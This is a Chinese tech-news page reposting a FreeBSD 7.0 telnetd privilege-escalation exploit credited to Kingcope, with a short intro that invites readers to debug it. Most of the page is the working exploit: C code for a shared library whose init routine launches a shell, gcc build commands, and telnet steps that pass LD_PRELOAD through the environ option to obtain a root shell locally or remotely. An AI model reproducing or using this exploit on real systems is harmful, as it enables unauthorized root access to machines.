作家
登录

FreeBSD爆0day 远程能溢出本地可提权

作者: 来源: 2012-06-12 19:55:17 阅读 我要评论

没想到现在有人会研究,看到后惊叹了一下。是telnetd部分的问题,在FreeBSD7.0正式版测试通过,7.1似乎也有同样问题,但未经过测试。有兴趣的朋友可以调试一下,代码如下:

# FreeBSD telnetd local/remote privilege escalation/code execution
# remote root only when accessible ftp or similar available
# tested on FreeBSD 7.0-RELEASE
# by Kingcope/2009
#include
#include
#include
#include
void _init() {
FILE *f;
setenv("LD_PRELOAD", "", 1);
system("echo ALEX-ALEX;/bin/sh");
}
---snip-----
Then we compile this stuff.
---snip-----
#gcc -o program.o -c program.c -fPIC
#gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o
-nostartfiles
---snip-----
Then we copy the file to a known location (local root exploit)
---snip-----
#cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
---snip-----
...or we upload the library through any other available attack vector.
After that we telnet to the remote or local FreeBSD telnet daemon
with setting the LD_PRELOAD environment variable to the known location
as a telnet option before.
---snip-----
#telnet
/>auth disable SRA
/>environ define LD_PRELOAD /tmp/libno_ex.so.1.0
/>open target
---snip-----
ALEX-ALEX
#ROOTSHELL

【编辑推荐】

  1. FreeBSD未授权受限进程挂接漏洞
  2. FreeBSD Out Of Sequence包远程拒绝服务攻击漏洞
  3. FreeBSD fetch()整数溢出远程任意指令执行漏洞

  推荐阅读

  ProFTPD字符编码SQL注入漏洞

受影响系统: ProFTPD Project ProFTPD 1.3.1不受影响系统:ProFTPD Project ProFTPD 1.3.2描述:BUGTRAQ ID: 33650ProFTPD是一款开放源代码FTP服务程序。ProFTPD在执行SQL查询之前没有正确地设置字符编码,攻击者可>>>详细阅读


本文标题:FreeBSD爆0day 远程能溢出本地可提权

地址:http://www.17bianji.com/anquan/buding/1871.html

关键词: 探索发现

乐购科技部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与乐购科技进行文章共享合作。

网友点评
自媒体专栏

评论

热度

精彩导读
栏目ID=71的表不存在(操作类型=0)